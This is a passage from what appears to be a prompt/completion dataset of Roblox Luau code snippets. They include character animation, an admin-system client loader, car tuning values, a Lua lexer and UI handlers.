ScriptConnectionNode?,\n _prev: ScriptConnectionNode?,\n}\n\nlocal FreeThread: thread? = nil\n\nlocal function RunHandlerInFreeThread(handler, ...)\n local thread = FreeThread :: thread\n FreeThread = nil\n\n handler(...)\n\n FreeThread = thread\nend\n\nlocal function CreateFreeThread()\n FreeThread = coroutine.running()\n\n while true do\n RunHandlerInFreeThread(coroutine.yield())\n end\nend\n"} +{"prompt": "--// Adonis Client Loader (Non-ReplicatedFirst Version)", "completion": "\n\nlocal wait = wait;\nlocal tick = tick;\nlocal pcall = pcall;\nlocal xpcall = xpcall;\nlocal setfenv = setfenv;\nlocal tostring = tostring;\n\nlocal players = game:GetService(\"Players\");\nlocal player = players.LocalPlayer;\nlocal folder = script.Parent;\nlocal container = folder.Parent;\nlocal Kick = player.Kick;\nlocal module = folder:WaitForChild(\"Client\");\nlocal target = player;\nlocal realPrint = print;\nlocal realWarn = warn;\nlocal DebugMode = false;\nlocal start = tick();\n\nlocal function print(...)\n\tif true then\n\t\t--realPrint(...)\n\tend\nend\n\nlocal function warn(str)\n\tif DebugMode or player.UserId == 1237666 then\n\t\trealWarn(\"ACLI: \"..tostring(str))\n\tend\nend\n\nlocal function Kill(info)\n\tif DebugMode then warn(info) return end\n\tpcall(function() Kick(player, info) end) \n\twait(1)\n\tpcall(function() while not DebugMode and wait() do pcall(function() while true do end end) end end)\nend\n\nlocal function Locked(obj)\n\treturn (not obj and true) or not pcall(function() return obj.GetFullName(obj) end)\nend\n\nlocal function loadingTime()\n\twarn(\"LoadingTime Called\")\n\tsetfenv(1,{})\n\twarn(tostring(tick() - start))\nend\n\nlocal function callCheck(child)\n\twarn(\"CallCheck: \"..tostring(child))\n\tif Locked(child) then\n\t\twarn(\"Child locked?\")\n\t\tKill(\"ACLI: Locked\")\n\telse\n\t\twarn(\"Child not locked\")\n\t\txpcall(function()\n\t\t\treturn child[{}]\n\t\tend, function()\n\t\t\tif getfenv(1) ~= getfenv(2) then\n\t\t\t\tKill(\"ACLI: Error\")\n\t\t\tend\n\t\tend)\n\tend\nend\n\nlocal function doPcall(func, ...)\n\tlocal ran,ret = pcall(func, ...)\n\tif ran then\n\t\treturn ran,ret\n\telse\n\t\twarn(tostring(ret))\n\t\tKill(\"ACLI: Error\\n\"..tostring(ret))\n\t\treturn ran,ret\n\tend\nend\n"} +{"prompt": "-- R15 --", "completion": "\n\nfunction waitForChild(parent, childName)\n\tlocal child = parent:findFirstChild(childName)\n\tif child then return child end\n\twhile true do\n\t\tchild = parent.ChildAdded:wait()\n\t\tif child.Name==childName then return child end\n\tend\nend\n\nlocal Figure = script.Parent\nlocal Humanoid = waitForChild(Figure, \"Humanoid\")\nlocal pose = \"Standing\"\n\nif ( Humanoid.RigType == Enum.HumanoidRigType.R6 ) then\n\t-- We dont want this script to run, so we'll just wait until this script is eventually destroyed.\n\twait(1);\n\trepeat wait(100) until 1 == 2\nend\n\nlocal currentAnim = \"\"\nlocal currentAnimInstance = nil\nlocal currentAnimTrack = nil\nlocal currentAnimKeyframeHandler = nil\nlocal currentAnimSpeed = 1.0\n\nlocal CurrentToyAnimation = nil;\n\nlocal runAnimTrack = nil\nlocal runAnimKeyframeHandler = nil\n\nlocal AnimSpeedChangeDebounce = nil;\n\nlocal animTable = {}\nlocal animNames = { \n\tidle = \t{\t\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507766666\", weight = 1 },\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507766951\", weight = 1 },\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507766388\", weight = 9 }\n\t\t\t},\n\twalk = \t{ \t\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507777826\", weight = 10 } \n\t\t\t}, \n\trun = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507767714\", weight = 10 } \n\t\t\t}, \n\tswim = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507784897\", weight = 10 } \n\t\t\t}, \n\tswimidle = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507785072\", weight = 10 } \n\t\t\t}, \n\tjump = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507765000\", weight = 10 } \n\t\t\t}, \n\tfall = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507767968\", weight = 10 } \n\t\t\t}, \n\tclimb = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507765644\", weight = 10 } \n\t\t\t}, \n\tsit = \t{\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507768133\", weight = 10 } \n\t\t\t},\t\n\ttoolnone = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507768375\", weight = 10 } \n\t\t\t},\n\ttoolslash = {\n\t\t\t\t{ id = \"http://www.roblox.com/asset/?id=507768375\", weight = 10 } "} +{"prompt": "--[[\n\tTween Event handler\n\tPhoenix\n]]", "completion": "\n\nlocal Sender \t = game:GetService(\"ReplicatedStorage\").Game.Events.Game.Tween\nlocal ServerListener = game:GetService(\"ServerScriptService\").Server.Events.Tween\n\nlocal CatchUpData = {} -- Instance = {InstanceTweened = Instance, Frame = CFrame}\n\nServerListener.Event:Connect(function(InstanceToTween, ToCFrame, Time, Data)\n\tlocal Ins\n\t\n\tif InstanceToTween ~= nil then\n\t\tif InstanceToTween:IsA(\"Model\") then\n\t\t\tif InstanceToTween.PrimaryPart then\n\t\t\t\tIns = InstanceToTween.PrimaryPart\n\t\t\tend\n\t\telse\n\t\t\tIns = InstanceToTween\n\t\tend\n\n\t\tlocal Players = game:GetService(\"Players\"):GetChildren()\n\n\t\tfor I = 1, #Players do\n\t\t\tlocal Player = Players[I]\n\n\t\t\tSender:FireClient(Player, InstanceToTween, ToCFrame, Time, Data)\n\t\tend\n\n\t\twait(Time)\n\n\t\tif InstanceToTween.PrimaryPart then\n\t\t\tInstanceToTween:SetPrimaryPartCFrame(ToCFrame)\n\t\telseif InstanceToTween:IsA(\"BasePart\") then\n\t\t\tInstanceToTween.CFrame = ToCFrame\n\t\telse\n\t\t\tprint(\"Attempted to tween a non model Instance: \".. InstanceToTween:GetFullName())\n\t\tend\n\tend\t\nend)\n"} +{"prompt": "-----------------------------------------------------------------------------------------------", "completion": "\n\nlocal player=game.Players.LocalPlayer\nlocal mouse=player:GetMouse()\n\nlocal car = script.Parent.Parent.Car.Value\nlocal _Tune = require(car[\"A-Chassis Tune\"])\n\nlocal gauges = script.Parent\nlocal values = script.Parent.Parent.Values\nlocal isOn = script.Parent.Parent.IsOn\nlocal RPM = 0\nlocal RPM2 = 0\n\ngauges:WaitForChild(\"Tach\")\ngauges:WaitForChild(\"ln\")\ngauges:WaitForChild(\"bln\")\ngauges:WaitForChild(\"Gear\")\n\ncar.DriveSeat.HeadsUpDisplay = false\n\nlocal _pRPM = _Tune.PeakRPM\nlocal _lRPM = _Tune.Redline\n\nlocal currentUnits = 1\nlocal revEnd = math.ceil(_lRPM/1000)\nlocal BST = 0\nif _Tune.Aspiration == \"Single\" then\nBST = _Tune.Boost\nend\nif _Tune.Aspiration == \"Double\" then\nBST = _Tune.Boost*2\nend\nif _Tune.Aspiration == \"Super\" then\nBST = _Tune.Boost\nend\n"} +{"prompt": "-- Services", "completion": "\nlocal PathfindingService = game:GetService(\"PathfindingService\")\n\n"} +{"prompt": "-- Script-readable version information.", "completion": "\nexport type Version = {\n\tmajor: number,\n\tminor: number,\n\tisRelease: boolean\n}"} +{"prompt": "------------------------------------------------------------------------\n-- reads a long string or long comment\n------------------------------------------------------------------------", "completion": "\nfunction luaX:read_long_string(ls, Token, sep)\n local cont = 0\n self:save_and_next(ls) -- skip 2nd '['\n if self:currIsNewline(ls) then -- string starts with a newline?\n self:inclinenumber(ls) -- skip it\n end\n while true do\n local c = ls.current\n if c == \"EOZ\" then\n self:lexerror(ls, Token and \"unfinished long string\" or\n \"unfinished long comment\", \"TK_EOS\")\n elseif c == \"[\" then\n --# compatibility code start\n if self.LUA_COMPAT_LSTR then\n if self:skip_sep(ls) == sep then\n self:save_and_next(ls) -- skip 2nd '['\n cont = cont + 1\n --# compatibility code start\n if self.LUA_COMPAT_LSTR == 1 then\n if sep == 0 then\n self:lexerror(ls, \"nesting of [[...]] is deprecated\", \"[\")\n end\n end\n --# compatibility code end\n end\n end\n --# compatibility code end\n elseif c == \"]\" then\n if self:skip_sep(ls) == sep then\n self:save_and_next(ls) -- skip 2nd ']'\n --# compatibility code start\n if self.LUA_COMPAT_LSTR and self.LUA_COMPAT_LSTR == 2 then\n cont = cont - 1\n if sep == 0 and cont >= 0 then break end\n end\n --# compatibility code end\n break\n end\n elseif self:currIsNewline(ls) then\n self:save(ls, \"\\n\")\n self:inclinenumber(ls)\n if not Token then ls.buff = \"\" end -- avoid wasting space\n else -- default\n if Token then\n self:save_and_next(ls)\n else\n self:nextc(ls)\n end\n end--if c\n end--while\n if Token then\n local p = 3 + sep\n Token.seminfo = string.sub(ls.buff, p, -p)\n end\nend\n"} +{"prompt": "-- Initialize material tool", "completion": "\nlocal MaterialTool = require(CoreTools.MaterialTool)\nCore.AssignHotkey('N', Core.Support.Call(Core.EquipTool, MaterialTool));\nCore.Dock.AddToolButton(Core.Assets.MaterialIcon, 'N', MaterialTool, 'MaterialInfo');\n"} +{"prompt": "--the guts of the code (DO NOT TOUCH)", "completion": "\nlocal function Chat(message: string, color)\n\tgame:GetService(\"Chat\"):Chat(NPC.Head, message, CC)\nend\nlocal function Jump()\n\tNPC.Humanoid.Jump = true\nend\nlocal function Move(pos: Vector3, spawn_thread)\n\tspawn_thread = spawn_thread or false\n\tNPC.Humanoid:MoveTo(pos)\n\tif not spawn_thread then NPC.Humanoid.MoveToFinished:Wait() end\nend\nlocal walkpoint = script.Parent.Parent.WalkPoints\nlocal PlayersService = game:GetService(\"Players\");\nPlayersService.PlayerAdded:Connect(function(Player)\n\tPlayer.Chatted:Connect(function(Message)\n\t\tif string.find(string.lower(Message), string.lower(playerchat)) then\n\t\t\twait(waittime)\n\t\t\t\n\t\t\t\n\t\t\t"} +{"prompt": "--// bolekinds", "completion": "\n\nlocal debounce = false\n\nscript.Parent.Touched:Connect(function(t)\n\t--local e, s = pcall(function()\n\tif debounce == false and game.Players:FindFirstChild(t.Parent.Name) then\n\t\tdebounce = true\n\t\tlocal cash = 1\n\t\tif game.ServerStorage.ServerData.contract.Value == true then\n\t\t\tcash = cash + 3\n\t\tend\n\t\tif game.ServerStorage.ServerData.MsFloppa.Value == true then\n\t\t\tcash = cash + cash\n\t\tend\n\t\tif game.ServerStorage.ServerData.happy.Value > 100 then\n\t\t\tcash = cash + cash\n\t\tend\n\t\tif game.ServerStorage.ServerData.happy.Value < 25 then\n\t\t\tcash = cash/2\n\t\tend\n\t\t\tgame.Players:FindFirstChild(t.Parent.Name).YouCash.Value += cash\n\t\tscript.Parent:Destroy()\n\t\tdebounce = false\n\t\tend\n\t--end)\nend)\n"} +{"prompt": "-- Cast Ray", "completion": "\ncastray.OnServerEvent:Connect(function(fired, ray, position)\n\tlocal beam = Instance.new(\"Part\")\n\t\n\tbeam.BrickColor = BrickColor.new(\"Neon orange\")\n\tbeam.FormFactor = Enum.FormFactor.Custom\n\tbeam.Material = Enum.Material.Neon\n\tbeam.Transparency = 0\n\tbeam.Anchored = true\n\tbeam.Locked = true\n\tbeam.CanCollide = false\n\tbeam.Parent = workspace\n\t\n\tlocal distance = (tool:WaitForChild(\"Hole\").CFrame.p - position).Magnitude\n\tbeam.Size = Vector3.new(0.1, 0.1, distance)\n\tbeam.CFrame = CFrame.new(tool:WaitForChild(\"Hole\").CFrame.p, position) * CFrame.new(0, 0, -distance / 2)\n\t\n\tgame:GetService(\"Debris\"):AddItem(beam, 0.025)\nend)\n"} +{"prompt": "-- ROBLOX TODO: import jest-matcher-utils when available\n-- import * as matcherUtils from 'jest-matcher-utils';", "completion": "\nlocal matcherUtils = {} :: any\nlocal JasmineUtils = require(CurrentModule.jasmineUtils)\nlocal equals = JasmineUtils.equals\nlocal hasProperty = JasmineUtils.hasProperty\nlocal isA = JasmineUtils.isA\nlocal isUndefined = JasmineUtils.isUndefined\n\nlocal getState = require(CurrentModule.jestMatchersObject_extracted).getState\nlocal Types = require(CurrentModule.types)"} +{"prompt": "-- functions", "completion": "\nscript.Parent.Text = \"I GOT IT!\"\nwait(2)\ngame.ReplicatedStorage.kicker:FireAllClients()\n"} +{"prompt": "--\t\tprint(\"Keyframe : \".. frameName)", "completion": "\n\n\t\tlocal repeatAnim = currentAnim\n\t\t-- return to idle if finishing an emote\n\t\tif (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then\n\t\t\trepeatAnim = \"idle\"\n\t\tend\n\t\t\n\t\tlocal animSpeed = currentAnimSpeed\n\t\tplayAnimation(repeatAnim, 0.15, Humanoid)\n\t\tsetAnimationSpeed(animSpeed)\n\tend\nend\n"} +{"prompt": "--[[Super Util]]", "completion": "--\nfunction WaitForChild(parent,...)\n\tlocal debugPrint = false\n\tfor _, i in ipairs({...}) do\n\t\tif type(i)=='boolean' then\n\t\t\tdebugPrint = i\n\t\telse\n\t\t\twhile not parent:FindFirstChild(i) do \n\t\t\t\twait(1/30) \n\t\t\t\tif debugPrint then\n\t\t\t\t\tprint(script.Name..':'..parent.Name..' Waiting for '.. i)\n\t\t\t\tend\n\t\t\tend\n\t\t\tparent=parent[i]\n\t\tend\n\tend\n\treturn parent\nend\n\nfunction ForEach(parent,func)\n\nend\n\nfunction MakeValue(class,name,value,parent)\n\nend\t\n\nfunction TweenProperty(obj, propName, inita, enda, length,sentinel)\n\nend\n"} +{"prompt": "-- You don't need to touch anything below this line. All customisable features are above.", "completion": "\n\nlocal fC = fontColor.Color -- converts brickcolor to color3\n\ngame.Workspace.ClientChat.OnClientEvent:connect(function(messageType, message)\n\tprint(message)\n\tgame:GetService(\"StarterGui\"):SetCore(\"ChatMakeSystemMessage\",{\n \t\tText = (\"[\"..messageType..\"]: \"..message);\n\t\tColor = fC;\n \tFont = font;\n \tFontSize = fontSize; \n\t})\nend)\n"} +{"prompt": "-- Also listen for errors fired from the client by cloning a LocalScript\n-- into StarterPlayerScripts that will fire a RemoteEvent when a clientside error occurs.", "completion": "\nlocal cer = ErrorObserverClient:Clone()\ncer.Parent = StarterPlayer.StarterPlayerScripts\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\nTune.Weight\t\t\t= 4000\t\t-- Total weight (in pounds)\nTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t--[[Width]]\t\t8.6\t\t,\n\t--[[Height]]\t\t7.9\t\t,\n\t--[[Length]]\t\t32.8\t}\nTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\nTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\nTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n"} +{"prompt": "-- services", "completion": "\n\nlocal Workspace\t\t= game:GetService(\"Workspace\")\nlocal Players\t\t= game:GetService(\"Players\")\nlocal RunService\t= game:GetService(\"RunService\")\nlocal Debris\t\t= game:GetService(\"Debris\")\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nfunction onSwimming(speed)\n\tif speed > 1.00 then\n\t\tlocal scale = 10.0\n\t\tplayAnimation(\"swim\", 0.4, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Swimming\"\n\telse\n\t\tplayAnimation(\"swimidle\", 0.4, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction animateTool()\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nlocal lastTick = 0\n\nfunction stepAnimate(currentTime)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = currentTime - lastTick\n \tlastTick = currentTime\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\t\tif UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then\t\t\n\t\t\tif not wasStrafe then\n\t\t\t\tdoForAllRunTracks(function(trackRec, name)\n\t\t\t\t\ttrackRec.track:AdjustWeight(smallButNotZero, blendTime)\n\t\t\t\t\ttrackRec.lastWeight = smallButNotZero\t\t\t\t\t\t\t\n\t\t\t\tend)\t\t\t\t\n\t\t\tend\n\t\t\tsetRunSpeed(0) -- speed doesn't matter if in mouse lock mode\n\t\t\twasStrafe = true\n\t\telse\n\t\t\tif wasStrafe then\n\t\t\t\tdoForAllRunTracks(function(trackRec, name)\n\t\t\t\t\ttrackRec.track:AdjustWeight(smallButNotZero, blendTime)\n\t\t\t\t\ttrackRec.lastWeight = smallButNotZero\t\t\t\t\t\t\t\n\t\t\t\tend)\n\t\t\t\tsetRunSpeed(currentAnimSpeed)\t\t\n\t\t\t\twasStrafe = false\n\t\t\tend\n\t\tend\t\t\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = Character:FindFirstChildOfClass(\"Tool\")\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = currentTime + .3\n\t\tend\n\n\t\tif currentTime > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\n\nreturn function(data)\n\tlocal playergui = service.PlayerGui\n\tlocal localplayer = service.Players.LocalPlayer\n\t\n\tlocal frame = script.Parent.Parent\n\tlocal close = frame.Frame.Close\n\tlocal main = frame.Frame.Main\n\tlocal title = frame.Frame.Title\n\tlocal timer = frame.Frame.Timer\n\t\n\tlocal gTable = data.gTable\n\tlocal clickfunc = data.OnClick\n\tlocal closefunc = data.OnClose\n\tlocal ignorefunc = data.OnIgnore\n\t\n\tlocal name = data.Title\n\tlocal text = data.Message or data.Text or \"\"\n\tlocal time = data.Time\n\t\n\tlocal returner = nil\n\t\n\tif clickfunc and type(clickfunc)==\"string\" then\n\t\tclickfunc = client.Core.LoadCode(clickfunc, GetEnv())\n\tend\n\tif closefunc and type(closefunc)==\"string\" then\n\t\tclosefunc = client.Core.LoadCode(closefunc, GetEnv())\n\tend\n\tif ignorefunc and type(ignorefunc)==\"string\" then\n\t\tignorefunc = client.Core.LoadCode(ignorefunc, GetEnv())\n\tend\n\t\n\t--client.UI.Make(\"NotificationHolder\")\n\tlocal holder = client.UI.Get(\"NotificationHolder\",nil,true)\n\tif not holder then \n\t\tlocal hold = service.New(\"ScreenGui\")\n\t\tlocal hTable = client.UI.Register(hold)\n\t\tlocal frame = service.New(\"ScrollingFrame\", hold)\n\t\tclient.UI.Prepare(hold)\n\t\thTable.Name = \"NotificationHolder\"\n\t\tframe.Name = \"Frame\"\n\t\tframe.BackgroundTransparency = 1\n\t\tframe.Size = UDim2.new(0, 200, 0.5, 0)\n\t\tframe.Position = UDim2.new(1, -210, 0.5, -10)\n\t\tframe.CanvasSize = UDim2.new(0, 0, 0, 0)\n\t\tframe.ChildAdded:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\t\t\n\t\tframe.ChildRemoved:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\t\t\n\t\tholder = hTable\n\t\thTable:Ready()\n\tend\n\t\n\tlocal function moveGuis(holder,mod)\n\t\tlocal holdstuff = {}\n\t\tfor i,v in pairs(holder:GetChildren()) do\n\t\t\ttable.insert(holdstuff,1,v)\n\t\tend\n\t\tfor i,v in pairs(holdstuff) do\n\t\t\tv.Position = UDim2.new(0,0,1,-75*(i+mod))\n\t\tend\n\t\tholder.CanvasSize=UDim2.new(0,0,0,(#holder:GetChildren()*75))\n\t\tlocal pos = (((#holder:GetChildren())*75) - holder.AbsoluteWindowSize.Y)\n\t\tif pos<0 then pos = 0 end\n\t\tholder.CanvasPosition = Vector2.new(0,pos)\n\tend\n\t\n\tholder = holder.Object.Frame\n\ttitle.Text = name\n\tframe.Name = name\n\tmain.Text = text\n\t\n\tmain.MouseButton1Click:Connect(function()\n\t\tif frame and frame.Parent then\n\t\t\tif clickfunc then\n\t\t\t\treturner = clickfunc()\n\t\t\tend\n\t\t\tframe:Destroy()\n\t\t\tmoveGuis(holder,0)\n\t\tend\n\tend)\n\t\n\tclose.MouseButton1Click:Connect(function()\n\t\tif frame and frame.Parent then\n\t\t\tif closefunc then\n\t\t\t\treturner = closefunc()\n\t\t\tend\n\t\t\tgTable:Destroy()\n\t\t\tmoveGuis(holder,0)\n\t\tend\n\tend)\n\t\n\tmoveGuis(holder,1)\n\tframe.Parent = holder\n\tframe:TweenPosition(UDim2.new(0,0,1,-75),'Out','Linear',0.2)\n\t\n\tspawn(function()\n\t\tlocal sound = Instance.new(\"Sound\",service.LocalContainer())\n\t\tif text == \"Click here for commands.\" then\n\t\t\tsound.SoundId = \"rbxassetid://987728667\"\n\t\telseif name == \"Warning!\" then\n\t\t\tsound.SoundId = \"rbxassetid://428495297\"\n\t\telse\n\t\t\tsound.SoundId = \"rbxassetid://2275705078\"\n\t\tend\n\t\twait(0.1)\n\t\tsound:Play()\n\t\twait(1)\n\t\tsound:Destroy()\n\tend)\n\t\n\tif time then\n\t\ttimer.Visible = true\n\t\tspawn(function()\n\t\t\trepeat\n\t\t\t\ttimer.Text = time\n\t\t\t\t--timer.Size=UDim2.new(0,timer.TextBounds.X,0,10)\n\t\t\t\twait(1)\n\t\t\t\ttime = time-1\n\t\t\tuntil time<=0 or not frame or not frame.Parent\n\t\t\t\n\t\t\tif frame and frame.Parent then\n\t\t\t\tif ignorefunc then\n\t\t\t\t\treturner = ignorefunc()\n\t\t\t\tend\n\t\t\t\tframe:Destroy()\n\t\t\t\tmoveGuis(holder,0)\n\t\t\tend\n\t\tend)\n\tend\n\t\n\trepeat wait() until returner ~= nil or not frame or not frame.Parent\n\t\n\treturn returner\nend\n"} +{"prompt": "-- Mimic roblox menu when opened and closed", "completion": "\nguiService.MenuClosed:Connect(function()\n\tmenuOpen = false\n\tif not IconController.controllerModeEnabled then\n\t\tIconController.setTopbarEnabled(IconController.topbarEnabled,false)\n\tend\nend)\nguiService.MenuOpened:Connect(function()\n\tmenuOpen = true\n\tIconController.setTopbarEnabled(false,false)\nend)\n"} +{"prompt": "--// # key, Priority", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"y\" then \n\t\tif veh.Lightbar.middle.Priority.IsPlaying == true then\n\t\tveh.Lightbar.middle.Wail:Stop()\n\t\tveh.Lightbar.middle.Yelp:Stop()\n\t\tveh.Lightbar.middle.Priority:Stop()\n\t\tscript.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\telse\n\t\tveh.Lightbar.middle.Wail:Stop()\n\t\tveh.Lightbar.middle.Yelp:Stop()\n\t\tveh.Lightbar.middle.Priority:Play()\n\t\tscript.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(215, 135, 110)\n\t\tscript.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\tscript.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\tend\n\tend\nend)\n"} +{"prompt": "--[[**\n\tensures all values in given table pass check\n\n\t@param check The function to use to check the values\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.values(check)\n\tassert(t.callback(check))\n\treturn function(value)\n\t\tlocal tableSuccess, tableErrMsg = t.table(value)\n\t\tif tableSuccess == false then\n\t\t\treturn false, tableErrMsg or \"\"\n\t\tend\n\n\t\tfor key, val in pairs(value) do\n\t\t\tlocal success, errMsg = check(val)\n\t\t\tif success == false then\n\t\t\t\treturn false, string.format(\"bad value for key %s:\\n\\t%s\", tostring(key), errMsg or \"\")\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "------------------------------------------------------------------------\n-- Attempt to convert a number by translating '.' decimal points to\n-- the decimal point character used by the current locale. This is not\n-- needed in Yueliang as Lua's tonumber() is already locale-aware.\n-- Instead, the code is here in case the user implements localeconv().\n------------------------------------------------------------------------", "completion": "\nfunction luaX:trydecpoint(ls, Token)\n -- format error: try to update decimal point separator\n local old = ls.decpoint\n -- translate the following to Lua if you implement localeconv():\n -- struct lconv *cv = localeconv();\n -- ls->decpoint = (cv ? cv->decimal_point[0] : '.');\n self:buffreplace(ls, old, ls.decpoint) -- try updated decimal separator\n local seminfo = self:str2d(ls.buff)\n Token.seminfo = seminfo\n if not seminfo then\n -- format error with correct decimal point: no more options\n self:buffreplace(ls, ls.decpoint, \".\") -- undo change (for error message)\n self:lexerror(ls, \"malformed number\", \"TK_NUMBER\")\n end\nend\n"} +{"prompt": "--Similar to assert but warns instead of errors.", "completion": "\nlocal function assertwarn(requirement: boolean, messageIfNotMet: string)\n\tif requirement == false then\n\t\twarn(messageIfNotMet)\n\tend\nend\n"} +{"prompt": "--\t\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\tcurrentAnimTrack.Priority = Enum.AnimationPriority.Core\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\tend\n\nend\n"} +{"prompt": "--[[\n Modifies a product or asset type (typically from its enum value) into\n something suitable to be displayed on screen:\n - With CamelCase words separated by spaces\n - With the word \"Accessory\" brought to the beginning, if present (this is to\n mirror the behavior in the Roblox catalog)\n]]", "completion": "\nlocal formatProductTypeString = function(input: string)\n\tlocal output = string.gsub(input, \"(.)(%u)\", \"%1 %2\")\n\toutput = string.gsub(output, \"(.*) Accessory\", \"Accessory | %1\")\n\toutput = string.gsub(output, \"T Shirt\", \"T-Shirt\")\n\treturn output\nend\n\nreturn formatProductTypeString\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\nRunService = game:GetService(\"RunService\")\n\nCamera = game:GetService(\"Workspace\").CurrentCamera\n\nAnimations = {}\nLocalObjects = {}\n\nServerControl = Tool:WaitForChild(\"ServerControl\")\nClientControl = Tool:WaitForChild(\"ClientControl\")\n\nRate = (1 / 60)\n\nSpeedMultiplier = 1.5\n\nCameraSpeed = {\n\tX = 40*SpeedMultiplier,\n\tZ = 60*SpeedMultiplier\n}\n\nControls = {\n\tForward = {\n\t\tMode = false,\n\t\tKeys = {Key = \"w\", ByteKey = 17}\n\t},\n\tBackward = {\n\t\tMode = false,\n\t\tKeys = {Key = \"s\", ByteKey = 18}\n\t},\n\tLeft = {\n\t\tMode = false,\n\t\tKeys = {Key = \"a\", ByteKey = 20}\n\t},\n\tRight = {\n\t\tMode = false,\n\t\tKeys = {Key = \"d\", ByteKey = 19}\n\t},\n}\n\nToolEquipped = false\n\nfunction HandleFlightControl()\n\tif not 